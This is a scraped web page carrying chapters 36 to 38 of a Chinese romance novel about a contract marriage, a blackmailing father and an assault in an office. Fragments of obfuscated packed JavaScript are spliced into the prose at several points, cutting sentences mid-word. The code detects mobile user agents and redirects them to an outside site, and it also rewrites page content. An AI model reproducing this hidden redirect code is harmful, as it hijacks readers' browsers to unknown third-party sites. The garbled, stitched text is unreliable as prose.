l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984080|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低垂着头,低眉顺眼地说,老板,我没有什么想法,您让我做什么,我就做什么。 裴聿珩沉默片刻,问:“是老裴总授意你的,是吗?” 韦荣不答。 裴聿珩屈指扣了扣桌面:“你还有什么要说的?” 默然了很久,韦荣忽然道:“他说,他不希望你承受他能预料的失败。” 裴聿珩:“……什么?” 韦荣看着他的眼睛:“他说,他爱你。” 裴聿珩定定地看了他许久,忽然笑了。 这件事他在年少时曾经无数次问过自己,没想到却在这样毫无预料的场合,猝不及防地听到了回答。 不过在这么多年的光阴流逝里,他早就不是那个会纠结于父爱的孩子,于是无论是什么答案,对他来说都不再重要。 “出去吧,去找财务领你这半天的工资。”裴聿珩翻开手边的文件,不再抬头看他:“或许你损失的退休金,会教会你不要多管闲事的道理。” 韦荣没再多说,对他鞠了一躬,离开了。 裴聿珩手里握着签字笔,悬在一片空白的纸页上,却迟迟没有落下去。 …… 威禾广告的茶水间里,温今遥正带着余承轩吃雪糕摸鱼。 她啃着手里的老冰棍,直愣愣地望着窗外枯树的枝丫,脑中不断回响着昨晚她自己说出来的话:“喜欢一个人,应该是纯粹的。” 说得多道貌岸然,就好像她的喜欢有多拿得出手似的。 余承轩又挑了一支巧克力的拿在手里,去碰她的肩膀:“今遥姐,再吃个甜甜的吧。” 温今遥猛地回神,接过来笑道:“还吃啊?咱俩要把威禾吃破产了。” 余承轩坐在她身边:“心情不好的时候,就要吃甜甜的。” “啊,”温今遥淡声道:“你看出来啦,这么明显么。” 余承轩看着她的侧脸:“因为你心情不好的时候,总会稍稍努着嘴,侧脸的话,就很明显。” 温今遥笑着看了他几秒:“观察力不错,没白教你。” 听了这句,余承轩张了张嘴,最后也没说出话来,只是低头去咬手里的雪糕。 “假如啊,假如,我有一个朋友,”温今遥顿了顿,开口就叠甲:“我朋友她喜欢上一个男的,但这个男的吧,比较有手段,当然我朋友也不是什么省油的灯哈,你觉得他们俩,能行吗?” 余承轩想了一会儿,道:“手段是哪种手段啊?” 温今遥:“就是那种,一笑起来感觉如沐春风的,但是职场上吃人不吐骨头……” 余承轩打断她:“啊,明白了,是裴总那样的?” 温今遥:“……算、算是吧。” “你,你那个朋友……是做什么的?”余承轩不明所以地开始结巴:“不会也是个普通社畜吧?” 温今遥:“……我问你还是你问我?” 余承轩牙齿咬上雪糕,沉默地吃了两口,才说:“不好讲,他们有钱人,能把感情看得多重呢?就算能行,有多少是真的,能维持多久,都跟咱们的想法不太一样吧?” 脆香的巧克力饼干藏在雪糕里,在口中蓦地炸开,冰得温今遥一个激灵。 是呗,谁说不是呢。 她三口两口吞了剩下的雪糕,翻出手机来给裴聿珩发微信:“今天我要回趟出租屋,不回家住了,别等我了哈。” 36. 第 36 章 那边“正在输入”在对话框上挂了好久,才回了一个字:“好。” 这倒是奇怪,温今遥想,竟然破天荒没问为什么。 对面不问,她也不解释,就把这件事抛诸脑后,直到窗外树影西斜,她才看到,就在发了那个“好”字五分钟后,裴聿珩又问:“方便接个电话吗?” 温今遥看着手机左上角已经过去三个小时的时间,立刻给裴聿珩拨了语音。 对面就像一直守在手机旁边一样,立刻接起来,一声“喂”也没有,立刻问:“真的要分居吗?” “嗯。” 不安的沉默透过无形电波轻轻搔动温今遥的耳朵,半晌,他才道:“是不是昨天晚上的话,我说得太重了?还是……还是你有什么其他的想法?” 裴聿珩本来想问“还是你真的想离婚”,但离婚两个字在他舌尖打了个转,却实在说不出口。 温今遥倒很平静,耐着性子解释:“不是那种要离婚的分居啦,我只是回去住几天,收拾收拾东西,顺便收拾收拾心情。如果能收拾得清爽,下个月租期到了我就退租;如果收拾不清爽,那好在我还有一间出租屋。” 当初她执意不退租,怕的就是今天。 她本以为裴聿珩会阻止,或者像原来那样,使个什么手段,先把她骗回家,再找个听上去冠冕堂皇的理由将她留下,谁知那边静默了很久,才轻轻叹了口气:“好。” 这一声扑在温今遥耳边,她竟有些不忍,但还是匆匆道了句“挂了”,便逃命似地挂了电话。 她太清楚了,多见他一面,就多一分深陷,越是喜欢,就越会奢求回应。 可她偏偏最没资格问他要回应。 这一天,温今遥再没有做出回错家的蠢事。 晚高峰的地铁依然拥挤不堪,混合着一种难以描述的气味。从前她一直不知道该怎么形容,今天再坐,发现答案是如此清晰——那是在红尘中艰辛地打过滚,挂在身上的疲惫气味。 出租屋电梯还是像她搬走那天一样,下降时发出轰然响声,隔壁出门买菜回来的主妇见了她便冲她抱怨电梯这个星期已经把人关在里面两三次,物业电话打爆了都没人来修,全然没有注意到温今遥已经将近一个月没有回来过。 “你说说,这要是把孩子关在里面,可怎么办!孩子出事了我要去跟他们拼命的!” 温今遥盯着她脸上的愤慨,发现那是自己并不熟悉的父母之爱,只能顺口敷衍了两句,电梯门一开,便立刻挤了出去。 她回到家,倒在自己从二手市场几十块钱淘来的沙发上喘了口气,发现沙发坐垫里的弹簧早就断了,而之前她竟然根本没发现。 一切都是这样庸常又熟悉。 温今遥用一顿外卖的时间,从一个辛德瑞拉的梦境重新回到了自己的真实。等暮色四合,她躺在自己窄但温暖的小床上时,她想,总听说由奢入俭难,可她哪怕见过极致的繁华,转身回到以前的穷日子,好像也没有那么难。 一轮寒月高悬夜空,照着她寒酸逼仄的出租屋,也照着永不熄灭的CBD中那一间没有窗帘的顶奢公寓。 床头柜上的抗焦虑药已经吃过第三遍,裴聿珩平躺在柔软的床上,双眼空茫地盯着天花板,依旧毫无睡意。 他今天晚上第十五遍想起温今遥的话:“喜欢应该是纯粹的。” 这句话实在太让他震颤,以至于后面那句“我一开始跟你结婚,也不是因为喜欢你”都显得不那么伤人了。 难道机关算尽就不是爱了吗?浅陋粗鄙就不是爱? 那他这些年,他这一生,又算什么呢? 新风系统让整个公寓常年四季如春,可今天似乎格外冷。 裴聿珩伸手摸摸身边冰凉空旷的枕席,想,回到没有她的日子,为什么会这么难。 …… 这两天温今遥在公司可谓是众星捧月。 李玉在例会上怎么夸她的就不必说了,还破例让她参加高层会议,说是“年轻人也不要光盯着具体的东西,高屋建瓴的看法也得有”,不知道的都以为温今遥是她亲女儿。 组里其他同事也理所当然地笑脸相迎,活动他们也是参与了的,阶段奖金李玉直接给了温今遥,让她给小组成员按劳分配,温今遥也大方,给自己留了一点点,剩下的全分了,A组算是人人都有一份开门红。 哪个社畜能抵挡这种恩惠,温今遥摇身一变,成了A组的“青天大老爷”。 她这一手,以后别说对着她开黄腔了,就算有人阴阳她一句,组里都会有人帮她骂回去。 无论樊炜怎么想,现在他只能接受一个事实:自己就是个虚职,温今遥才是A组名副其实的组长。 但最让温今遥身处云端的,是私下里收到了李玉包的一个数目极为可观的大红包。 “悄悄拿着,”李玉在微信上跟她说:“别声张,自己知道就行了。” 温今遥一开始确实没敢点:“不用了总监,项目奖我也拿了,真的!” “财务那边的账我都看了,你留的那点够干嘛的?小心思以为我不知道。”李玉耐心告罄:“赶紧收了,别耽误我时间!” 温今遥捧着发烫的手机嘿嘿傻笑:要什么爱情啊,有钱就行! 正当她得意的时候,手机忽然进了一条来自陌生号码的信息。 温今遥飘飘忽忽地点开,只看了一眼,就瞳孔紧缩: “女儿,爸爸又没钱了,那三百万的利息,你是不是找时间结一下?” 温今遥直愣愣地盯着这条信息,整个人一下子从飘忽的云端坠入泥泞不堪的人世,摔了个头破血流。 直到手机自动息屏,漆黑屏幕上映出她惶惑出神的脸,她才猛地回过神,顺手抓住正好路过身边的余承轩:“小余,一会儿下班有事吗?” 余承轩本来在看手机,听见她叫自己,立刻把手机揣回兜里,认真问:“没有事,怎么了?要加班吗?” “不是……”温今遥犹豫道:“你有没有空,送我去地铁站?” 温全是什么人她太清楚了,他肯定不会毫无准备就随随便便发这样一条信息,搞不好现在已经打听到了她的工作单位,等着在楼下堵她。 还好这两天不回裴聿珩那里住了,她想,再让温全见到裴聿珩,知道她跟裴聿珩之间的关系,那就等于往裴聿珩身上贴了一只不停吸血的水蛭。 她绝不允许这种事情发生。 威禾虽然地处CBD,但仍有不少背阴小巷,去地铁站偏偏要路过其中一条,平日里人来人往倒不觉得,可温今遥下班晚,假期又刚过,天一黑,巷子里竟然显得人迹罕至起来。 “这里面还挺黑的,”余承轩半边脸隐没在消极怠工的路灯光晕里:“以后要是加班,我都送你吧。” 温今遥笑笑:“那倒也不用,等这段时间过了就好了。” 她不准备把实话对任何人讲,只能寄希望于温全在偌大的北城找不到她,早日放弃了。 温今遥始终注意着周围的动静和可疑的人,却没有留意停在巷口的那辆黑色宾利。 裴聿珩坐在后座,看着她跟他在医院见过的那个年轻男人巧笑嫣然地聊着天,脚步轻快地从车身侧面跟他擦身而过,隔着单向玻璃的车窗,他看得见她冻得微红的耳垂,她却看不见他专注得骇人的眼神。 看来她过得很好,裴聿珩想,离开他,她的生活甚至更平静、更自由。 忽然,她似有所感地回头望了一眼,似乎是在下意识地寻找什么人,又像是听见了什么奇怪的动静,眉间浮起一丝恐惧和警惕,但目光没有捕捉到任何异常,只能回身继续跟年轻男人继续往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996843|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走。 一抹极浅淡的身影在巷口一闪而过,而这一切,都在后视镜中被车里的裴聿珩和吴桓看得一清二楚。 吴桓从中央后视镜里请示裴聿珩:“裴总?” 裴聿珩冲他轻抬下巴:“避着点监控。” 几分钟后,嘴角挂着青紫瘀痕的秦杨便被吴桓塞进了宾利的后座里。 裴聿珩好整以暇地翻着平板上的文件,眼都没抬一下。 秦杨被揍得头晕眼花,对了半天焦,才看清眼前是谁:“裴聿珩!又是你!你到底想干什么!” 裴聿珩合上平板,闲适地架起一条腿,依然没有看他。 吴桓在前面冷笑道:“三番五次打我们夫人的主意,你倒恶人先告状起来了。” 秦杨愣了半晌,忽然问:“你们真结婚了?” 他一瞬间竟然忘了自己嘴角还带着伤,牵动伤口痛得“嘶”了一声,还不死心地问:“不是演的?” 裴聿珩轻轻笑了一声。 秦杨彻底愣住了:温今遥居然嫁进了豪门? 他思索几秒,转了转眼睛,神秘道:“她是什么人你不清楚吧?那个人,又精明又市侩,还有个特别离谱的爸。”他往前凑了凑,奇货可居似地:“裴总,你放过我,只要你放过我,她的一切我都告诉你。” 这个裴总肯定不了解她,她又会装,好的时候嘴甜得不行,肯定是欺上瞒下,把自己那种低俗的小市民样全都藏起来了,才让裴聿珩当了冤大头。 还有她那个倒霉的爸,这两天正好找上了他,说是女儿很久没有音讯了,很担心,让他把温今遥的地址告诉他,他拿捏着她爸的反应,还没有说。 只要把她的本来面目完全抖出来,这位裴总肯定会被自己枕边人吓死,他们有钱人,最忌讳的不就是别人打他钱的主意吗? 到时候,好处肯定少不了他秦杨的。 秦杨觉得自己真是个天才。 果然,下一秒,裴聿珩饶有兴致地转过脸来看他,审视似地盯了他一阵,好像在判断他话的真假。 秦杨得意极了:“你是没见过她在菜市场跟人砍价的嘴脸,她……” 后半句话被如铁的虎口死死地卡在了喉咙里! 那一点氧气很快耗尽,秦杨面红如猪肝,双手慌乱地不停扒着那只捏着他性命的手,可丝毫没有用,它纹丝不动地卡在原处,不留一点缝隙。 裴聿珩云淡风轻地问:“然后呢,她怎么了?” 吴桓扭着身子,始终关注着秦杨的反应,直到他手脚开始不受控制地抽搐,吴桓才出声:“裴总,人要不行了。” 裴聿珩慢慢地松开了手。 一股冰冷的空气瞬间灌入秦杨的肺里,好似一只被真空抽干的气球蓦地被充起来,秦杨捂着脖颈,软趴趴地倒在后座上,咳得惊天动地。 裴聿珩慢条斯理地俯下身,竟对着目光涣散的秦杨笑了:“我还以为你真的不怕死。” 秦杨痛苦地扭动着身体,喉咙里发出嘶哑的气音:“报警……我、我要报警……” 裴聿珩笑了笑:“这个世界上没有你在意的人了么?” 秦杨瞳孔蓦地紧缩起来,彻底噤了声。 裴聿珩不欲再与他纠缠:“吴桓。” 吴桓会意,从驾驶座上下来,打开后方车门,一把将软成一团的秦杨拽下来,像丢一团破布似地将他丢在地上,上车一脚油门扬长而去。 路上,吴桓一直在看裴聿珩的脸色,可裴总始终面色平静地支颐看着窗外,一言不发。 良久,他终于忍不住了:“裴总,这两天要不要先接夫人回来,或者我去接送她?我怕……” 裴聿珩默了半晌,摇摇头:“不必,她想要安静,就给她空间。你这几天就守着她,我觉得贺中那边,也差不多该动手了。” 37. 第 37 章 假期过后两三天,春节档已经开始蠢蠢欲动,有些早鸟提前半年就准备好了春节活动,以期在这个最重要的节日档期里大赚一笔,而半夏这边的活动策划案已经有了大概,但跟哪家珠宝联动,还是没有定论。 温今遥又联系了几家,要么是价格谈不拢,要么是品牌定位不够契合,挑来挑去,都不如沈靖舒的“岚”合适。 临近佳节,沈靖舒应该也忙着自己的生意,一时也顾不上联系她,温今遥还是决定不要脸一点,上赶着主动出击。 至于沈靖舒到底是真的lesbian,对自己有意思,还是裴聿珩为了撇清关系在说谎,她其实就是裴聿珩在外面的女人,都不是现在温今遥有时间纠结的事情。 就算是真小三又怎么样,温今遥想,高低先赚上一笔,有钱了吵起架来底气都比较足。 她正准备找人联系“岚”那边的对接人,李玉忽然在办公软件上敲她,让她去一趟办公室。 短短几十米的路程,从上厕所冲没冲水,到有没有不小心破坏威禾那只有梦里才有的上市机会,温今遥把这两天所有她能做的错事全部盘了一遍。 ……李玉没事是不会叫人去办公室的,这不年不节的,项目也没什么大的异动,叫她去是要做什么呢? 事实证明温今遥想象力还是太匮乏,李玉叫她来就一个目的——给她介绍对象。 “那件事情也过去挺久了,你也不要因为一个人就对所有男的都失去信心。”李玉拿了一台平板放在温今遥面前,上面是一个面目齐整的男孩子的证件照,旁边还有身高体重、血型星座、性格爱好等等信息,简直可以让公安局直接拿去上门抓人,根本不带认错的。 温今遥:…… 这倒是个坦诚自己已婚的好机会! 她清了清嗓子:“李总监,有件事……” “不喜欢这个不要紧,”李玉把她的拒绝扼杀在襁褓里,往后翻了一页,一个眉眼带笑的新男人出现在屏幕上,右上角显示了一个可怕的数字:2/58 这是李玉给她挑的五十八个男人里面的第二个。 “你还年轻,不会看人,找对象就得找门当户对、敦厚老实、为人真诚的人。”李玉语重心长:“你之前那个,一看就心眼子多,最后怎么样?把你坑了吧?” 温今遥短短两分钟内第二次失语。 门当户对,敦厚老实,为人真诚。 这三个词真的绝了,简直就是“裴聿珩”这三个字的反义词,不管哪个单拎出来,都够骂上他一个小时的。 她瞬间打消了坦白的念头,装模作样低头去看平板上五花八门的男人们:“哇,这么多,都不错诶,我可以都要吗?” 李玉沉思了一下,认真道:“要不直接给你拉个群?” 温今遥干笑:“哈,哈哈,不好吧,他们隔着网线打起来怎么办?” 李玉“啪”地合上平板,板着脸说:“演!又演!那你说说,你喜欢什么样的?” 温今遥不假思索:“我喜欢186,长得巨帅,特别会赚钱,人又温柔又疼我,还有……” 她忽然想起了什么不可描述的画面似地,脸一红,住了嘴:“没有了。” 李玉:“……小小年纪脑子里都在想啥?这种男的哪里有,你找到了也给我见见世面。”说着又去翻她那个人才库:“这个接近,差两三公分,你二舍三入一下,就186了。” “总之啊,”她下了最后通牒:“这么多人,你挑几个见见,都是我跟你于总见过的人,总不会又把你欺负了。” 温今遥低头看李玉塞给她的平板,忽然问:“总监,人到底为什么一定要结婚呢?” 李玉抬手替她理了理碎发,笑得温柔:“不是一定要结婚,是我觉得人生在世,还是值得有一个爱你懂你的人,不然你一个人在世界上,总会觉得飘零。” 温今遥一路怎么过来的,她看得清楚,即使知道不应该,也还是忍不住去插手。 “行了,半夏那边春节档怎么样了?”李玉问。 “下午就去死缠烂打,”温今遥仰起脸,眸子里的光像初雪后的朝阳:“保证完成任务!” …… 下午,温今遥踩着跟“岚”对接人预约好的时间,准时到了工作室门口。 接待她的是一位干练的女士,将她引到待客室,一边给了她一沓资料,让她翻看着打发时间,一边着人去叫沈靖舒。 不多时,去叫人的员工回来,满面愁容地对着接待耳语了两句,然后他们俩就一起满面愁容了。 温今遥:“怎么了吗?” 接待一看就经验丰富:“啊,我们沈总,突然有些不舒服……” 员工站在一边,大气也不敢出,生怕温今遥看出他们沈总不是不舒服,是根本还没睡醒。 温今遥点点头:“那好,那要不我们约个明天的时间?” 接待如蒙大赦,正要去拿沈靖舒明天的日程,待客室角落里的喇叭忽然响起一阵刺耳嗡鸣,紧接着里面传来沈靖舒懒洋洋的声音:“是今遥来了?” 温今遥也不知道她能不能听到,试着回了一声:“哎,是我。” 沈靖舒轻笑一声,浅浅打了个哈欠:“直接带她来二楼里间吧,不用在意。” 接待闻言愣了愣,转而又去打量温今遥:态度诚恳、装束精干,长得确实可人,但实在看不出其他不得了的特点,能让沈靖舒松口,直接让她登堂入室的。 温今遥不明所以,茫然地对上接待审视的眼神,接待垂下目光:“沈小姐,我现在带您过去。” 二楼东侧是沈靖舒的会客区域,上次就是在这,跟裴聿珩吵了一架,下楼就被温今遥抓了个正着,西侧则是她自己的工作坊,温今遥跟着接待,一路穿过展示台、工作间、冥想室、最后来到了最里间。 接待敲了敲门,门自动打开,接待做了个“请”的手势:“这里我不能进,沈小姐请自便。” 温今遥小心翼翼地踏进里间,发现这里竟然是一间巨大的卧室,甚至比裴聿珩公寓的主卧还要大。 屋内一室馨香,灯光随着她的脚步次第亮起,自动窗帘应声而开,沈靖舒半卧在床上,身上搭着细绸面的冬被,冲她笑:“今遥,坐。” 温今遥直愣愣地应了一声,回头却没找到椅子,只能坐在她床边:“沈小姐……不舒服吗?” “接待跟你说的?”沈靖舒拢了拢身上不太整齐的睡衣,对着她笑:“我站着才会不舒服,床是我的本体。” 温今遥盯着她那张艳若桃李又富贵骄人的脸,有一瞬间真的很想问,沈小姐你是不是在勾引我? 她有点明白那些普信男的心情了。 沈靖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007118|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒问:“今天来,是公事还是私事?” 温今遥嘴角抽搐:“公事,公事。” 沈靖舒从抽屉里拿出一个文件夹递给她:“是这样,我这边也拟了几个联动方案,我觉得你应该能给我一些筛选的方向和建议。费用就按项目顾问的平均收入,一小时六千,你看可以吗?” 温今遥:“……所以这次的联动,必须要在我这一环,就达到双赢,是这个意思吗?” 于公于私,她都应该为了半夏,劝说沈靖舒让出大头的利益,但现在,她恐怕要另辟蹊径,让两边都赢得高兴才行了。 沈靖舒理所应当地点点头:“裴聿珩跟我夸过你很多次,比他自己赚了几个亿还骄傲,今天也让我享受一下你的才华,行不行?你要是觉得低了,咱们还可以再商量。” 于是温今遥跟沈岚聊项目聊了一下午,怒赚两万块。 沈靖舒心满意足地收起写满了意见和对比权重的资料,意犹未尽地问:“你最近有换工作的打算吗?半夏那个项目有什么好的,又复杂又没油水。你能力这么强,不如来我公司吧,威禾给你什么待遇?我给你双倍。” 温今遥笑着拒绝了她的好意,沈靖舒颇为惋惜地点点头:“这样啊,那我就只有让我爸把鸿禧挤兑垮了,他们项目黄了,我再来挖你。” 温今遥两万块在手,人也变得大方又平静:“沈小姐集团千金,跟裴聿珩门当户对,又是旧识,大学的时候,为什么没有在一起呢?” 沈靖舒笑着睨她一眼:“终于忍不住了,开始套我话了?” 温今遥摇头:“不是套话,是正大光明地聊。我跟他之间……”她选了一个模棱两可的说辞,不愿意承认自己跟裴聿珩只是契约婚姻:“我们之间没有什么不能商量的,如果沈小姐真的跟他两情相悦,那我也可以让位,条件什么的,都可以谈。” 说完她像怕对方不信似地,喃喃了一句:“我懂规矩。” 沈靖舒注视她半天,噗嗤一声笑了:“什么规矩,我怎么不知道?” 温今遥吸了吸鼻子,没往下聊。 什么规矩!当然是拿钱走人的规矩!能不能低声些,这难道光彩吗! “行吧,看在裴聿珩给我这小店投了大几千万,还不干涉我行动的份上,我就大发慈悲一次——他就没有告诉你,我是les吗?” 温今遥瞳孔地震,脑子里的吐槽像弹幕一样不受控地飘过:他说了他当然说了他还说你是来勾引我的你说我是不是应该连这个都一起信了…… 沈靖舒看她这个表情,乐不可支:“我就知道,他又把我当假想敌,担心我撬他墙角。” 温今遥本来想问那你到底有没有这个意思,结果出口就变成了:“又?” 沈靖舒点点头,掰着指头跟她算:“上上上次是在学校的时候,第一次跟我们提到你的名字,我就好奇问了一句,他就让我滚;上上次是他去南城出差,我问他什么时候带我们见见你,他骂我们都是杂碎;上次嘛,就是你在那次,他那俩眼睛要是刀,我早就被他活剐了,你都没看出来吗?” 温今遥松了口气——原来这些都跟自己有关,而不是她担心的,裴聿珩还有过其他的、差点被沈靖舒撬了的女朋友。 “不过嘛,这次我还真挺想坐实这个罪名。”沈靖舒猫咪似地眯了眯眼:“你对女人有兴趣吗?” 38. 第 38 章 温今遥差点被她吓疯了:“啊,不、不了吧……” 沈靖舒笑不可抑:“你怎么这么可爱!逗你呢,跟裴聿珩抢人?你觉得我敢?明天天宫集团就得倾巢而出,去全北城的垃圾堆里扒拉我去。” 温今遥被她逗得红了脸:“哎呀,沈小姐……你……” “你可以放心,”沈靖舒收了神通,认真道:“他在国外的时候一心向佛,哦不是,一心向学,没有过女人。眉来眼去的,露水情缘的,长相厮守的,统统都没有。” 温今遥挑了挑眉,撇过脸嘴硬:“告诉我做什么……我又不……” 嘴上这么说,唇边却悄悄长出了一片鲜嫩的笑意。 这笑意像真的长在春风里,会传染似的,也引得沈靖舒勾起了唇。 沈靖舒很想告诉她,裴聿珩在国外的时候是怎么强迫自己给她打了十七枚戒指,不到尽善尽美不算完;是怎么跟所有大胆追求他的女人都提起她的名字,搞得全校都知道裴聿珩有个求而不得的女神,叫温今遥;又是怎么苦熬过没有经济来源的头一年,不是朋友接济连饭都快吃不起了,却还是惦记着给她买一份根本送不出去的生日礼物。 但裴聿珩说过,这些都是底牌,是撒手锏,不到万不得已,不会说给她听,又或许是这些承载了太多他的沉重,他不愿心爱的姑娘一同背负,所以宁愿将她蒙在鼓里。 无论如何,沈靖舒都选择尊重好友的决定。 她把自己早就签好的联动意向书塞到温今遥手里:“今遥,你们两个……都很幸运。如果可以,希望你可以好好对他。” …… 从沈靖舒工作室出来,已经是华灯初上,辛勤劳作一整天的工蜂们正踏上回巢的旅程。 温今遥原本也该汇入这往城郊的人流中,回她那个逼仄冷寂的出租屋里,可她进了地铁,望了望排着长队的回家方向,脚尖一转,却向反向的站门走去。 反正回家也没有人在,家里暖气也烧得不热,何必呢,不如去回公司去蹭空调,她想着,而且意向书刚拿回来,应该尽快好好研读。 原来住裴聿珩家里时,她可是一下班就往家跑的。 今天的威禾也蛮怪,还不到九点,一整层楼竟然一个人也没有了,大家聚餐的聚餐,溜号的溜号,谁都不愿意在公司多待一分钟。 也能理解,新年伊始就不要命地加班,怎么说都不太吉利。 这正中温今遥的下怀。 她踏进静谧的办公室,黑暗给了她一种隐匿的安全感,好似自己所有的想法和心事都可以在这里摊开来想,而不必担心被照亮、被发现。 一盏小小的台灯被啪嗒按亮,在漆黑中投注了一片圆锥的轻薄光源。温今遥托腮坐在桌前,望着手里的意向书出神。 原来裴聿珩说的都是真的,是她小人之心,以为人家处心积虑算计她,其实她身上到底有什么值得他算计的? 她充其量是手里有一把苞谷,裴聿珩可是有良田万顷。 所以她到底是真的介意他没有事事都跟自己讲实话,还是只是觉得愧对他,受不了这样每天白白享受他对自己的温柔和周全,给自己找了一个远离他的理由? 温今遥弯了弯眼,想,他还跟他的朋友说起过我呢。 如果小时候的事他真的不记得了,如果她真的能装傻一辈子,永远不提起,那是不是就可以当做没有发生过? 要是他不知道真相,那么除了她自己,世界上知道真相的人就只有温全了,而他是最不会把这件事告诉裴聿珩的那个人。 要真是这样,那不就稳了么,这件事会成为一个无人知晓的秘密,一直烂在她的心里,那她就可以假装无事发生,假装自己当之无愧。 温今遥掏出手机,想给裴聿珩发条信息,手机却似有所感,先一步震动起来,紧接着屏幕上跳出了两条短信: 爸:女儿,我知道你在哪。 爸:我找到你了。 看到这几个字的一瞬间,温今遥条件反射般地把手机扔了出去,然后短暂地失去了意识。 短短两秒钟,不能呼吸,没有声音,没有光线,感受不到空调的暖风,什么都没有,世界一片虚无。 五感回笼的那一刻,心脏在胸腔中疯狂搏动,似乎要冲破骨骼和肌肉的束缚,抛弃她这具肉身,远远地逃离这个恐怖的地方。 但是这次,她不想逃了。 她已经有了新的家人,他的名字和她的一起并排写在结婚证上,无论在她身上发生什么,裴聿珩都会以伴侣的身份与她一起承担。 于是她捡回手机,深吸一口气,回了温全一条充满嘲讽的信息:“哟,还没死呢?” 然后用最快的速度将那个号码拉黑了。 一条信息几乎耗尽了她的体力,额头上都渗出细密汗珠,温今遥觉得黏腻得难受,便把所有灯都打开,起身去洗手间洗脸。 刚刚坐着还不觉得,现在站起来,只觉得自己浑身无力,脚步虚浮。 无人的楼道显得幽长空旷,她自己的脚步声在身后渐次铺开,声控灯开了节能,低低暗暗地亮在她头顶,青白的光泛着幽紫,犹如一张病态而紧盯不舍的脸。 不知什么时候,身后的脚步声多了一道不甚明显的回声。 起初温今遥以为是自己的错觉,但很快她便发现,不是的,那脚步声跟着她的速度,她快它也快,她慢它也慢,明显就是冲着她来的。 像是在佐证她的恐惧,整层楼的声控灯忽然应声而灭! 世界陷入彻底的黑暗,温今遥背后出了一层冷汗,她不再犹豫,撒腿就跑,想跑去洗手间,先把自己锁在隔间里,再打电话求救。 可那人却没有给她这个机会,眼看着她要脱离掌控,他不再隐匿行迹,而是快步追上来,一把扣住温今遥的肩膀,另一只极为熟练地手捂住她的口鼻,拖着她就要往一片漆黑的楼梯间去! 温今遥哪肯就范,不管不顾地乱踢乱打,可对方的手臂就像是铁钳似地钳住她,她身边连一件能用来防卫的工具都没有,只有手里紧紧捏着的手机,于是她疯狂连按锁屏键,直接把信息发给了她的紧急联系人。 此刻的温今遥无比庆幸,在她领证的当天,她就本着赖上裴聿珩、要让他给自己负责的心态,第一时间把他添加成了紧急联系人。 身后的人发现时,信息已经发出去了,他恼羞成怒,直接将温今遥的脑袋直直撞向旁边的消火栓箱上。 玻璃在一阵灵魂出窍般的刺痛中应声而碎,温今遥昏迷之前听到的最后一个声音,是吴桓急切的脚步,和他将将喊出口的那句“夫人”。 …… 温今遥最先醒来的是嗅觉:浓重的消毒水气味,期间夹杂着很淡,但存在感极强的清净男香,她原本不知自己深处何处的惶恐,瞬间便被那一点香气熨烫抚平。 第二个清醒的是耳朵。 是一个鼻音浓重的男声:“……怎么处置我都没有异议。” 然后是那一把她熟悉又陌生的声音:“共事一年,我让你自己选。” 说熟悉,是因为她没睁开眼睛就知道这是裴聿珩;说陌生,是因为她从没听过裴聿珩这样的声音:沉抑、低落,还透着隐隐的疯狂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019500|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 选?选什么? 记忆紧随着她的思考刹那回笼,温今遥后知后觉想起,她在公司被人打晕,昏迷前看到的是匆匆赶来的吴桓。 答案太明显了——裴聿珩要开掉吴桓,念在他跟自己共事一年的份上,让他来选,是公司开除,还是自己辞职。 刚丢方案那会儿,她也千头万绪地发愁过这个问题:是等公司开除,还是自己离职? 这简直是打工人的顶级噩梦,温今遥瞬间就吓得睁开了眼睛。 她垂死病中惊坐起,说的第一句话是:“别,别开除我的救命恩人!” 裴聿珩见她一动,立刻倾身上来,问:“醒了?想不想吐,头还疼吗?” 温今遥刚醒来,视线还在失焦,惶惑地盯了他半晌,才渐渐看清他爬满红色蛛网的眼睛。 她一个没忍住,伸手摸了摸他稍稍冒了青色胡茬的下巴。 细密刺麻的触感让她终于从走廊里那个离谱的梦境回到安全的现实,她在自己反应过来之前,先一撇嘴掉了泪:“他们要杀我……” 裴聿珩眉心无法自控地一抽,低下头去吻她的手,好掩盖自己眼底喷薄而出的阴狠:“不会,不会的,谁都不能伤害你,我发誓。” 温今遥哭得一抽一抽的:“你给我找个健身教练,这帮混蛋,我……” 裴聿珩探身吻住了她的嘴唇。 这是一个绵长而温然的吻,可他的唇瓣分明带着惶恐的颤抖。 轻微的战栗在通过紧贴的双唇,不动声色地出卖了他极力掩饰的秘密——他在恐惧。 